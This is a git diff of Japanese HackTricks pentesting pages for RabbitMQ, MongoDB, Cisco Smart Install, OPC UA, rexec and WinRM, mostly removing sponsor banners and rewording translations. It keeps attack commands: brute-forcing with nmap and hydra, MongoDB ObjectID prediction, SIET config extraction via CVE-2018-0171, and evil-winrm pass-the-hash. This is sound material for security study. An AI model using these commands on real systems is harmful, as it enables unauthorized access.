デフォルトの認証情報は"_**guest**_":"_**guest**_"です。これが機能しない場合は、[**ログインをブルートフォースする**](../generic-hacking/brute-force.md#http-post-form)ことを試みてください。
このモジュールを手動で開始するには、次のコマンドを実行する必要があります:
このモジュールを手動で開始するには、次のコマンドを実行する必要があります：
```
rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart
@ -51,10 +47,6 @@ hashcat -m 1420 --hex-salt hash.txt wordlist
- `port:15672 http`
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../banners/hacktricks-training.md}}

52
src/network-services-pentesting/27017-27018-mongodb.md
View File

@ -2,24 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
## 基本情報
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください！
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう！
## Basic Information
**MongoDB**は、さまざまな形式のデータを処理するために**ドキュメント指向データベースモデル**を使用する**オープンソース**のデータベース管理システムです。ビッグデータ分析やコンテンツ管理などのアプリケーションで、非構造化または半構造化データを管理するための柔軟性とスケーラビリティを提供します。**デフォルトポート:** 27017, 27018
**MongoDB** は **オープンソース** のデータベース管理システムで、**ドキュメント指向データベースモデル** を使用して多様なデータ形式を処理します。ビッグデータ分析やコンテンツ管理などのアプリケーションで、非構造化データや半構造化データを管理するための柔軟性とスケーラビリティを提供します。**デフォルトポート:** 27017, 27018
```
PORT STATE SERVICE VERSION
27017/tcp open mongodb MongoDB 2.6.9 2.6.9
@ -75,49 +60,34 @@ nmap -n -sV --script mongodb-brute -p 27017 <ip>
```
### [**ブルートフォース**](../generic-hacking/brute-force.md#mongo)
_credentials_が必要かどうかを確認するには、_/opt/bitnami/mongodb/mongodb.conf_を見てください:
_/opt/bitnami/mongodb/mongodb.conf_ を見て、認証情報が必要かどうかを確認します:
```bash
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#" #Not needed
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not needed
```
## Mongo Objectid 予測
Example [from here](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)。
Example [from here](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
Mongo Object IDs は **12バイトの16進数** 文字列です：
Mongo Object IDsは**12バイトの16進数**文字列です：
![http://techidiocy.com/_id-objectid-in-mongodb/](../images/id-and-ObjectIds-in-MongoDB.png)
例えば、アプリケーションから返された実際の Object ID を分解すると、5f2459ac9fa6dc2500314019 になります。
例えば、アプリケーションから返された実際のObject IDを分解すると、5f2459ac9fa6dc2500314019のようになります。
1. 5f2459ac: 1596217772（10進数） = 2020年7月31日金曜日 17:49:32
1. 5f2459ac: 1596217772（10進数）= 2020年7月31日金曜日 17:49:32
2. 9fa6dc: マシン識別子
3. 2500: プロセスID
4. 314019: インクリメンタルカウンター
上記の要素のうち、マシン識別子はデータベースが同じ物理/仮想マシンで実行されている限り同じままです。プロセスIDは MongoDB プロセスが再起動されるとのみ変更されます。タイムスタンプは毎秒更新されます。カウンターとタイムスタンプの値を単純にインクリメントして Object IDs を推測する際の唯一の課題は、Mongo DB が Object IDs を生成し、システムレベルで Object IDs を割り当てるという事実です。
上記の要素のうち、マシン識別子はデータベースが同じ物理/仮想マシンで実行されている限り同じままです。プロセスIDはMongoDBプロセスが再起動されない限り変更されません。タイムスタンプは毎秒更新されます。カウンターとタイムスタンプの値を単純にインクリメントしてObject IDsを推測する際の唯一の課題は、Mongo DBがObject IDsを生成し、システムレベルでObject IDsを割り当てるという事実です。
ツール [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict) は、開始 Object ID を与えると（アカウントを作成して開始 ID を取得できます）、次のオブジェクトに割り当てられる可能性のある約1000の推定 Object IDs を返しますので、それらをブルートフォースするだけです。
ツール[https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict)は、開始Object IDを与えると（アカウントを作成して開始IDを取得できます）、次のオブジェクトに割り当てられる可能性のある約1000の推定Object IDsを返しますので、それらをブルートフォースするだけです。
## ポスト
## Post
もしあなたが root であれば、**mongodb.conf** ファイルを **修正** して認証情報が不要になるようにできます（_noauth = true_）し、**認証情報なしでログイン** できます。
もしあなたがrootであれば、**mongodb.conf**ファイルを**変更**して認証情報が不要になるようにできます（_noauth = true_）し、**認証情報なしでログイン**できます。
---
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください！
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握しましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう
**私たちと一緒に** [**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加し、今日からトップハッカーとコラボレーションを始めましょう！
{{#include ../banners/hacktricks-training.md}}

12
src/network-services-pentesting/4786-cisco-smart-install.md
View File

@ -2,13 +2,10 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 基本情報
**Cisco Smart Install** は、新しいCiscoハードウェアの初期設定とオペレーティングシステムイメージのロードを自動化するためにCiscoが設計したものです。 **デフォルトでは、Cisco Smart InstallはCiscoハードウェアでアクティブであり、トランスポート層プロトコルTCPを使用し、ポート番号4786を使用します。**
**Cisco Smart Install** は、新しい Cisco ハードウェアの初期設定とオペレーティングシステムイメージのロードを自動化するために Cisco が設計したものです。 **デフォルトでは、Cisco Smart Install は Cisco ハードウェアでアクティブであり、トランスポート層プロトコル TCP を使用し、ポート番号 4786 を使用します。**
**デフォルトポート:** 4786
```
@ -17,7 +14,7 @@ PORT STATE SERVICE
```
## **スマートインストールエクスプロイトツール**
**2018年に、このプロトコルにおいて重大な脆弱性、CVE-2018–0171が発見されました。脅威レベルはCVSSスケールで9.8です。**
**2018年、このプロトコルに重大な脆弱性、CVE-2018–0171が発見されました。脅威レベルはCVSSスケールで9.8です。**
**Cisco Smart InstallがアクティブなTCP/4786ポートに送信された特別に作成されたパケットがバッファオーバーフローを引き起こし、攻撃者が以下を行うことを可能にします：**
@ -29,7 +26,7 @@ PORT STATE SERVICE
**ターゲットデバイスは「ライブ」Cisco Catalyst 2960スイッチです。仮想イメージにはCisco Smart Installがないため、実際のハードウェアでのみ練習できます。**
ターゲットスイッチのアドレスは**10.10.100.10で、CSIがアクティブです。** SIETをロードして攻撃を開始します。**-g引数**はデバイスからの設定の抽出を意味し、**-i引数**は脆弱なターゲットのIPアドレスを設定することを可能にします。
ターゲットスイッチのアドレスは**10.10.100.10でCSIがアクティブです。** SIETをロードして攻撃を開始します。**-g引数**はデバイスからの設定の抽出を意味し、**-i引数**は脆弱なターゲットのIPアドレスを設定することを可能にします。
```
~/opt/tools/SIET$ sudo python2 siet.py -g -i 10.10.100.10
```
@ -39,8 +36,5 @@ PORT STATE SERVICE
<figure><img src="../images/image (1116).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../banners/hacktricks-training.md}}

23
src/network-services-pentesting/4840-pentesting-opc-ua.md
View File

@ -2,21 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本情報
**OPC UA**（**Open Platform Communications Unified Access**の略）は、製造、エネルギー、航空宇宙、防衛などのさまざまな業界でデータ交換と機器制御に使用される重要なオープンソースプロトコルです。これは、特にPLCとの通信を可能にするために、異なるベンダーの機器が相互に通信できるようにします。
**OPC UA**（**Open Platform Communications Unified Access**の略）は、製造、エネルギー、航空宇宙、防衛などのさまざまな業界でデータ交換や機器制御に使用される重要なオープンソースプロトコルです。これは、異なるベンダーの機器が通信できるようにし、特にPLCとの通信を可能にします。
その構成は強力なセキュリティ対策を可能にしますが、古いデバイスとの互換性のために、これらはしばしば緩和され、システムがリスクにさらされることがあります。さらに、ネットワークスキャナーが非標準ポートにある場合、OPC UAサービスを検出できないことがあるため、見つけるのが難しいことがあります。
その構成は強力なセキュリティ対策を可能にしますが、古いデバイスとの互換性のために、これらが緩和されることが多く、システムがリスクにさらされることがあります。さらに、OPC UAサービスを見つけるのは難しい場合があり、ネットワークスキャナーが非標準ポートにある場合は検出できないことがあります。
**デフォルトポート：** 4840
**デフォルトポート:** 4840
```text
PORT STATE SERVICE REASON
4840/tcp open unknown syn-ack
@ -29,7 +21,7 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```
### 脆弱性の悪用
認証バイパスの脆弱性が見つかった場合、適切に[OPC UAクライアント](https://www.prosysopc.com/products/opc-ua-browser/)を設定し、アクセスできるものを確認できます。これにより、プロセス値を単に読み取ることから、実際に重工業機器を操作することまで可能になる場合があります。
認証バイパスの脆弱性が見つかった場合、適切に[OPC UAクライアント](https://www.prosysopc.com/products/opc-ua-browser/)を設定し、アクセスできるものを確認できます。これにより、プロセス値を単に読み取ることから、重機の操作まで可能になることがあります。
アクセスできるデバイスの手がかりを得るために、アドレス空間内の「ServerStatus」ノードの値を読み取り、使用マニュアルをグーグルで検索してください。
@ -41,12 +33,5 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

16
src/network-services-pentesting/512-pentesting-rexec.md
View File

@ -2,17 +2,10 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**ウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけるために、20以上のカスタムツールを使用し、自動化されたエクスプロイトを利用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## 基本情報
**有効な認証情報**（ユーザー名とパスワード）を知っている場合、**ホスト内でコマンドを実行することを許可するサービスです。**
これは、**有効な** **資格情報**（ユーザー名とパスワード）を知っている場合に、**ホスト内でコマンドを実行することを許可するサービス**です。
**デフォルトポート:** 512
```
@ -21,12 +14,5 @@ PORT STATE SERVICE
```
### [**ブルートフォース**](../generic-hacking/brute-force.md#rexec)
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**実際のビジネスに影響を与える重要で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../banners/hacktricks-training.md}}

61
src/network-services-pentesting/5985-5986-pentesting-winrm.md
View File

@ -2,35 +2,20 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加してください！
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、トップハッカーとコラボレーションを始めましょう！
## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**で、HTTP(S)を介して**Windowsシステムのリモート管理**を可能にし、その過程でSOAPを活用します。これは基本的にWMIによって動かされ、WMI操作のためのHTTPベースのインターフェースとして機能します。
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) は、**Microsoftによって強調されたプロトコル**であり、**HTTP(S)を通じてWindowsシステムのリモート管理を可能にします**。このプロセスではSOAPを利用しています。基本的にはWMIによって動作し、WMI操作のためのHTTPベースのインターフェースとして機能します。
マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介した簡単なリモート管理が可能になります。WinRMが動作しているかどうかを確認するには、特定のポートが開いているかどうかをチェックすることが推奨されます：
マシン上にWinRMが存在することで、SSHが他のオペレーティングシステムで機能するのと同様に、PowerShellを介した簡単なリモート管理が可能になります。WinRMが動作しているかどうかを確認するには、特定のポートが開いているかをチェックすることが推奨されます：
- **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)**
上記のリストからポートが開いている場合、WinRMが設定されていることを示し、リモートセッションを開始する試みを許可します。
上記のリストにあるポートが開いている場合、WinRMが設定されていることを示し、リモートセッションを開始する試みを許可します。
### **WinRMセッションの開始**
WinRMのためにPowerShellを構成するには、Microsoftの`Enable-PSRemoting` cmdletが使用され、リモートPowerShellコマンドを受け入れるようにコンピュータが設定されます。昇格されたPowerShellアクセスを持つ場合、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます：
WinRMのためにPowerShellを構成するには、Microsoftの`Enable-PSRemoting` cmdletが使用され、コンピュータがリモートPowerShellコマンドを受け入れるように設定されます。昇格されたPowerShellアクセスを持っている場合、次のコマンドを実行してこの機能を有効にし、任意のホストを信頼済みとして指定できます：
```powershell
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
@ -51,11 +36,11 @@ wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -forc
```bash
Test-WSMan <target-ip>
```
プロトコルバージョンとwsmidに関する情報が含まれており、WinRMが正しく設定されていることを示しています。
応答には、WinRMが正しく設定されていることを示すプロトコルバージョンとwsmidに関する情報が含まれるべきです。
![](<../images/image (582).png>)
- 逆に、WinRMに対して**設定されていない**ターゲットの場合、詳細な情報は得られず、適切なWinRM設定がないことが強調されます。
- 逆に、WinRMに対して**構成されていない**ターゲットの場合、詳細な情報は得られず、適切なWinRM設定がないことが強調されます。
![](<../images/image (458).png>)
@ -137,22 +122,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう！
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界について最新情報を把握しましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーとコラボレーションを始めましょう！
## LinuxでのWinRM接続
## WinRM接続のLinuxでの実行
### ブルートフォース
@ -176,7 +146,7 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
**evil-winrm**を使用して**IPv6アドレス**に接続するには、_**/etc/hosts**_内にエントリを作成し、**ドメイン名**をIPv6アドレスに設定して、そのドメインに接続します。
**evil-winrm**を使用して**IPv6アドレス**に接続するには、_**/etc/hosts**_内にエントリを作成し、IPv6アドレスに**ドメイン名**を設定して、そのドメインに接続します。
### evil-winrmでハッシュを渡す
```ruby
@ -291,19 +261,6 @@ Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください！
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界について最新情報を把握しましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、今日からトップハッカーとコラボレーションを始めましょう！
​
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More